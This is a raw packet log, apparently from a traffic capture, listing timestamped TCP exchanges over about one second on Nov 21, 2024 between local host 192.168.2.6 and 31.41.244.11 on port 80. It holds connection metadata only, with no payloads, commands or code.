Nov 21, 2024 14:11:16.927104950 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:16.927119970 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:16.927907944 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:16.927957058 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:16.927958012 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:16.927969933 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:16.927997112 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:16.928019047 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:16.928803921 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:16.928824902 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:16.928836107 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:16.928864956 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:16.928894997 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.100385904 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.100409985 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.100423098 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.100435019 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.100459099 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.100636959 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.100672960 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.100684881 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.100708961 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.100739002 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.101495981 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.101541996 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.101715088 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.101758003 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.101773977 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.101788044 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.101815939 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.101855040 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.102577925 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.102621078 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.102632999 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.102643967 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.102672100 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.102699041 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.103493929 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.103535891 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.103540897 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.103553057 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.103583097 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.103600025 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.104341030 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.104388952 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.104388952 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.104399920 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.104439974 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.105200052 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.105252028 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.105262995 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.105273008 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.105289936 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.105303049 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.106065035 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.106123924 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.106134892 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.106146097 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.106174946 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.106189966 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.106942892 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.107008934 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.107021093 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.107038975 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.107053995 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.107075930 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.107868910 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.107919931 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.107928038 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.107939005 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.107978106 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.108726978 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.108772993 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.108783007 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.108793974 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.108819962 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.108834982 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.109597921 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.109651089 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.109652042 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.109662056 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.109698057 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.110546112 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.110598087 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.110614061 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.110625029 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.110651016 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.110676050 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.111366987 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.111418962 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.111421108 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.111433983 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.111474037 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.112277031 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.112318993 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.112319946 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.112332106 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.112363100 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.112379074 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.113161087 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.113208055 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.113234997 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.113245964 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.113281012 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.114022017 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.114062071 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.114070892 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.114073992 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.114099979 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.114115000 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.114880085 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.114933014 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.114938974 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.114950895 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.115036011 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.115744114 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.115786076 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.115794897 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.115812063 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.115852118 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.116667032 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.116719961 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.116730928 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.116754055 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.116781950 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.117563009 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.117580891 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.117594957 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.117604017 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.117618084 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.117635965 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.118508101 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.118556976 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.118567944 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.118586063 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.118598938 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.118607998 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.119760036 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.119806051 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.119838953 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.119851112 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.119862080 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.119889975 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.119905949 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.120671034 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.120718002 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.120722055 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.120733023 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.120753050 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.120769024 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.121315002 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.121364117 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.121383905 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.121396065 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.121424913 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.121443033 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.122246027 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.122265100 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.122275114 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.122297049 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.122312069 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.123087883 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.123126984 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.123136997 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.123161077 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.123184919 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.123969078 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.124020100 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.124032974 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.124043941 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.124082088 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.124814987 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.124864101 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.124871969 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.124882936 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.124918938 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.125941992 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.126014948 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.126023054 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.126028061 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.126054049 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.126070023 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.126595974 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.126615047 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.126625061 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.126645088 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.126661062 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.127475023 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.127526045 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.127531052 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.127548933 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.127568007 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.127578974 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.128444910 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.128484011 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.128495932 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.128496885 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.128523111 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.128536940 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.129298925 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.129344940 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.129379988 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.129393101 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.129431009 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.130079985 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.130124092 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.130126953 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.130136013 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.130172968 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.301692963 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.301738024 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.301750898 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.301769018 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.301809072 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.301809072 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.302156925 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.302203894 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.302236080 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.302248955 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.302283049 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.303066015 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.303117990 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.303129911 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.303144932 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.303144932 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.303175926 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.303849936 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.303899050 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.303903103 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.303934097 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.303956985 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.303991079 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.304747105 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.304792881 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.304816961 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.304827929 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.304856062 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.304867029 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.305597067 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.305639982 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.305666924 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.305677891 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.305716038 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.306485891 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.306536913 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.306549072 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.306571007 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.306586981 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.306756973 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.307456970 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.307533979 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.307544947 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.307544947 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.307571888 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.307581902 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.308454990 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.308515072 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.308528900 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.308588982 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.308588982 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.309364080 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.309381008 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.309387922 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.309492111 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.309988022 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.310039043 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.310045958 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.310060024 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.310087919 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.310102940 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.310872078 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.310949087 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.310959101 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.310973883 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.310987949 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.311001062 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.311749935 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.311789036 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.311798096 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.311801910 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.311822891 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.311836004 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.312608957 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.312653065 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.312661886 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.312674999 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.312696934 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.312709093 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.313514948 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.313596964 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.313607931 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.313641071 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.313812017 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.314398050 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.314467907 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.314497948 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.314508915 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.314548016 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.315264940 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.315323114 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.315334082 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.315367937 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.315392971 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.316271067 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.316293001 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.316303968 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.316366911 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.316416025 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.317020893 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.317065954 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.317099094 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.317111015 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.317135096 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.317163944 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.317934990 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.317996979 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.318017960 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.318028927 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.318067074 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.318825006 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.318870068 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.318895102 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.318907022 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.318936110 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.318960905 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.319664955 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.319731951 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.319735050 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.319747925 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.320039988 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.320506096 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.320555925 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.320580959 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.320605993 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.320626020 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.321408033 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.321578979 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.321671963 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:17.321722984 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:17.321747065 CET	80	49876	31.41.244.11	192.168.2.6
